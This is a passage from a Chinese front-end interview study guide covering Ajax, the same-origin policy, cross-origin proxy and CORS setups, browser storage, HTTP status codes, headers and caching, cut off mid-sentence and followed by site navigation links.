即是把原本需要绑定在子元素的响应事件委托给父元素,让父元素担当事件监听的职务。事件代理的原理是DOM元素的事件冒泡。11. JS-Web-API-Ajax每个工程师必须熟练掌握的技能11.1 什么是 Ajax ?Ajax(全称 Asynchronous JavaScript And XML) 翻译过来就是 异步的 Javascript 和 XMLAJAX 是一种在无需重新加载整个网页的情况下,能够更新部分网页的技术。随着谷歌搜索建议功能在 2005 的发布,AJAX 开始流行起来。11.2 手写一个简易的 Ajax网页中实现 Ajax 最核心的 API 就是 XMLHttpRequest,如果不知道这个就别谈实现了。function ajax(url) { const xhr = new XMLHttpRequest(); xhr.open("get", url, true); xhr.onreadystatechange = function () { // 异步回调函数 if (xhr.readyState === 4) { if (xhr.status === 200) { console.info("响应结果", xhr.response) } } } xhr.send(null); }11.3 浏览器的同源策略是什么??同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说 Web 是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。它的核心就在于它认为自任何站点装载的信赖内容是不安全的。当被浏览器半信半疑的脚本运行在沙箱时,它们应该只被允许访问来自同一站点的资源,而不是那些来自其它站点可能怀有恶意的资源。所谓同源是指:域名、协议、端口相同。另外,同源策略又分为以下两种:DOM 同源策略:禁止对不同源页面 DOM 进行操作。这里主要场景是 iframe 跨域的情况,不同域名的 iframe 是限制互相访问的。XMLHttpRequest 同源策略:禁止使用 XHR 对象向不同源的服务器地址发起 HTTP 请求。11.4 什么是跨域?跨域本质是浏览器基于同源策略的一种安全手段同源策略(Sameoriginpolicy),是一种约定,它是浏览器最核心也最基本的安全功能所谓同源(即指在同一个域)具有以下三个相同点协议相同(protocol)主机相同(host)端口相同(port)反之非同源请求,也就是协议、端口、主机其中一项不相同的时候,这时候就会产生跨域一定要注意跨域是浏览器的限制,你用抓包工具抓取接口数据,是可以看到接口已经把数据返回回来了,只是浏览器的限制,你获取不到数据。用 postman 请求接口能够请求到数据。这些再次印证了跨域是浏览器的限制。11.5 如何实现跨域请求首先跨域是因为浏览器的同源策略造成的,他是浏览器的一种安全机制。跨域并不是请求发不出去,请求能发出去,服务端能收到请求并正常返回结果,只是结果被浏览器拦截了实现跨域常见的方案:jsonpnginx反向代理webpack devServer代理cors跨源资源共享其中 jsonp 由于其局限性,以及对比其他方案的效果。此处不做介绍。1. nginx方向代理nginx 反向代理常用在开发环境及线上环境。通过拦截转发请求来处理跨域问题。假如现在前端项目运行在 8080 端口,而实际后端项目的地址为 https://1.1.1.1:9000 ,需要拦截前缀为 api 的请求,此时 nginx 配置为:server { listen 8080 default_server; location /api { proxy_pass https://1.1.1.1:9000; } }假如现在有个接口为 /api/test,在没有做转发前为 http://localhost:8080/api/test ,实际接口位置为 https://1.1.1.1:9000/api/test.结果转发为实际接口位置。2. webpack devserver代理webpack devserver 代理用在开发环境。配置如下:devServer({ proxy: { '/api': { target: 'https://1.1.1.1:9000', changeOrigin: true, pathRewrite: { '^/api': 'api' }, }, } })3. cors跨源资源共享(服务端设置) 跨源资源共享 (CORS) (或通俗地译为跨域资源共享)是一种基于 HTTP 头的机制,该机制通过允许服务器标示除了它自己以外的其它 origin(域,协议和端口),这样浏览器可以访问加载这些资源。Access-Control-Allow-Origin: 'xxx'可以通过服务端设置 Access-Control-Allow-Origin 字段的白名单来处理跨域问题。如果在此情况下,发送请求时需要带上cookie的话,则需要配置Access-Control-Allow-Credentials,同时客户端需要同步设置xhr.withCredentials = true;,两者缺一不可11.6 ajax fetch axios 的区别ajax 是 js 异步技术的术语,早期相关的 api 是 xhr ,它是一个术语。fetch 是 es6 新增的用于网络请求标准 api,它是一个 api。(是 es6 用来代替 xhr 的, xhr 很不好用)axios 是用于网络请求的第三方库,它是一个库。12. JS-Web-API-存储内容虽然不多,但不可不会12.1 描述 cookie sessionStorage localStorage 的区别cookie 本身是用于浏览器和 server 通讯的,他是被借用到本地用于存储的,因为后两者是在 H5 后才提出来的( 2010年左右),我们可以通过 document.cookie = 'xxx' 来改变 cookie。cookie 的缺点:存储大小最大 4kb (因为 cookie 本身就不是用来做存储的)http 请求时需要发送到服务端,增加请求数据量只能用 document.cookie 来修改,太过简陋localStorage 和 sessionStorage :它俩是 H5 专门为了存储设计的,最大可存 5M 左右API 更简洁:getItem setItem不会随着 http 被发送出去localStorage 数据会永久存储,除非代码或者手动删除, sessionStorage 数据只存在于房钱会话,浏览器关闭则清除。一般 localStorage 会更多一些13. HTTP 面试题前后端分离的时代,网络请求是前端的生命线13.1 http 常见的状态码有哪些?分类:1xx 服务器收到请求2xx 请求成功,如 2003XX 重定向,如 3024xx 客户端错误,如 4045xx 服务端错误,如 500常见状态码:1XX: 提供信息100 Continue 情景:客户端向服务端传很大的数据,这个时候询问服务端,如果服务端返回100,客户端就继续传 (历史,现在比较少了)101 Switching Protocols 协议切换。比如下面这种:HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade告诉客户端把协议切换为 Websocket2xx: 成功200 Ok 正常的返回成功 通常用在 GET201 Created 已创建 通常用在 POST202 Accepted 已接收 比如发送一个创建 POST 请求,服务端有些异步的操作不能马上处理先返回 202,结果需要等通知或者客户端轮询获取203 Non-Authoritative Infomation 非权威内容 原始服务器的内容被修改过204 No Content 没有内容 一般 PUT 请求修改了但是没有返回内容205 Reset Content 重置内容206 Partial Content 服务端下发了部分内容3XX: 重定向300 Multiple Choices 用户请求了多个选项的资源(返回选项列表)301 Moved Permanently 永久转移302 Found 资源被找到(以前是临时转移)不推荐用了 302 拆成了 303 和 307303 See Other 可以使用 GET 方法在另一个 URL 找到资源304 Not Modified 没有修改305 Use Proxy 需要代理307 Temporary Redirect 临时重定向 (和 303 的区别是,307 使用原请求的method 重定向资源, 303 使用 GET 方法重定向资源)308 Permanent Redirect 永久重定向 (和 301 区别是 客户端接收到 308 后,之前是什么 method,之后也会沿用这个 method 到新地址。301,通常给用户会向新地址发送 GET 请求)4XX: 客户端错误400 Bad Request 请求格式错误401 Unauthorized 没有授权402 Payment Required 请先付费403 Forbidden 禁止访问404 Not Found 没有找到405 Method Not Allowed 方法不允许406 Not Acceptable 服务端可以提供的内容和客户端期待的不一样5XX: 服务端错误500 Internal Server Error 内部服务器错误501 Not Implemented 没有实现502 Bad Gateway 网关错误503 Service Unavailable 服务不可用 (内存用光了,线程池溢出,服务正在启动)504 Gateway Timeout 网关超时505 HTTP Version Not Supported 版本不支持面试的时候常见该记住的有:101 200 201 301 302 304 403 404 500 502 504规范就是一个约定,要求大家跟着执行,不要违反规范,例如 IE 浏览器13.2 http 常见的 header 头1. Content-Length发送给接收者的 Body 内容长度(字节)一个 byte 是 8bitUTF-8 编码的字符 1-4 个字节、示例:Content-Length: 3482. User-Agent帮助区分客户端特性的字符串 - 操作系统 - 浏览器 - 制造商(手机类型等) - 内核类型 - 版本号 示例:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.363. Content-Type帮助区分资源的媒体类型(Media Type/MIME Type)text/htmltext/cssapplication/jsonimage/jpeg示例:Content-Type: application/x-www-form-urlencoded4. Origin描述请求来源地址scheme://host:port不含路径可以是null示例: Origin: https://yewjiwei.com5. Accept建议服务端返回何种媒体类型(MIME Type)/代表所有类型(默认)多个类型用逗号隔开衍生的还有Accept-Charset 能够接受的字符集 示例:Accept-Charset: utf-8Accept-Encoding 能够接受的编码方式列表 示例:Accept-Encoding: gzip, deflateAccept-Language 能够接受的回应内容的自然语言列表 示例:Accept-Language: en-US示例:Accept: text/plainAccept-Charset: utf-8Accept-Encoding: gzip, deflate6. Referer告诉服务端打开当前页面的上一张页面的URL;如果是ajax请求那么就告诉服务端发送请求的URL是什么非浏览器环境有时候不发送Referer常常用户行为分析7. Connection决定连接是否在当前事务完成后关闭HTTP1.0默认是 closeHTTP1.1后默认是 keep-alive13.3 什么是 RESTFUL API ?Restful API 是一种新的 API 设计方法(早已推广)传统 API 设计:把每一个 url 当做一个功能Restful API 设计:把每个 url 当做一个唯一的资源传统/api/list?pageIndex=2Restful API/api/list/213.4 描述一下 http 缓存机制HTTP 缓存即是浏览器第一次向一个服务器发起 HTTP 请求后,服务器会返回请求的资源,并且在响应头中添加一些有关缓存的字段如:cache-control,expires, last-modifed,ETag, Date,等,之后浏览器再向该服务器请求资源就可以视情况使用强缓存和协商缓存,强缓存:浏览器直接从本地缓存中获取数据,不与服务器进行交互,协商缓存:浏览器发送请求到服务器,服务器判断是否可使用本地缓存,
文章
存储  ·  缓存  ·  移动开发  ·  自然语言处理  ·  JavaScript  ·  前端开发  ·  搜索推荐  ·  API  ·  SEO  ·  HTML5
2023-01-09
...
跳转至:
开发与运维
5756 人关注 | 133197 讨论 | 317921 内容
+ 订阅
  • 自然语言处理 - 命名实体
  • python学习之路-装饰器的使用
  • 记一次 rr 和硬件断点解决内存踩踏问题
查看更多 >
安全
1237 人关注 | 24101 讨论 | 85375 内容
+ 订阅
  • 阿里云服务器默认交换机和默认专有网络说明
  • 阿里云服务器默认专有网络是什么?
  • 阿里云服务器默认交换机是什么?
查看更多 >
云计算
21824 人关注 | 59725 讨论 | 57785 内容
+ 订阅
  • 【DSW Gallery】基于CK-BERT的中文序列标注
  • 【DSW Gallery】基于预训练模型的多场景文本生成(以新闻标题生成为例)
  • 冬季实战营第五期学习报告
查看更多 >
数据库
252933 人关注 | 51962 讨论 | 98709 内容
+ 订阅
  • 深入理解事务
  • python学习之路-装饰器的使用
  • 记一次 rr 和硬件断点解决内存踩踏问题
查看更多 >
人工智能
2859 人关注 | 12290 讨论 | 102131 内容
+ 订阅
  • 自然语言处理 - 命名实体
  • python学习之路-装饰器的使用
  • 基于决策树模型的用户购物行为预测分析
查看更多 >